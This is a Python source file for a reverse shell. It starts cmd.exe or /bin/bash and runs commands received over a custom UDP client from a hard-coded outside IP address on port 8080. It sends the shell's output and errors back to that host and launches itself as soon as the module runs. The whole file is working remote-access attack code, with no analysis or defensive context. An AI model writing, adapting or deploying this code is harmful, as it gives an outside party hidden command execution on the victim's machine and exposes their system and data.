# coding:utf-8
import threading
import platform
import os
import subprocess
from Rudp import Client

# while True:
#     c = input()
#     c += os.linesep
#     p.stdin.write(c.encode('utf8'))
#     p.stdin.flush()
#     break

class shell:
    def __init__(self,encode):
        self.encode = encode
        self.dest_host = ('34.96.165.135',8080)
        # self.dest_host = ('127.0.0.1', 8080)
        self.client = Client.client(1024, self.dest_host)
        if platform.system().lower() == 'windows':
            self.p = subprocess.Popen('cmd.exe', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE)
        else:
            self.p = subprocess.Popen('/bin/bash', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE)
        threading.Thread(target=self.read_out).start()
        threading.Thread(target=self.read_error).start()
        threading.Thread(target=self.stdin).start()

    def stdin(self):
        while True:
            command = self.client.RecvData()
            if not command:
                continue
            command += os.linesep.encode()
            self.p.stdin.write(command)
            self.p.stdin.flush()

    def set_encoding(self,encode):
        self.encode = encode

    def read_error(self):
        while True:
            error = self.p.stderr.readline()
            if not error:
                continue
            self.client.SendTo(error.decode(self.encode).strip().encode(),self.dest_host)

    def read_out(self):
        while True:
            out = self.p.stdout.readline()
            if not out:
                continue
            self.client.SendTo(out.decode(self.encode).strip().encode(),self.dest_host)

s = shell('GBK')

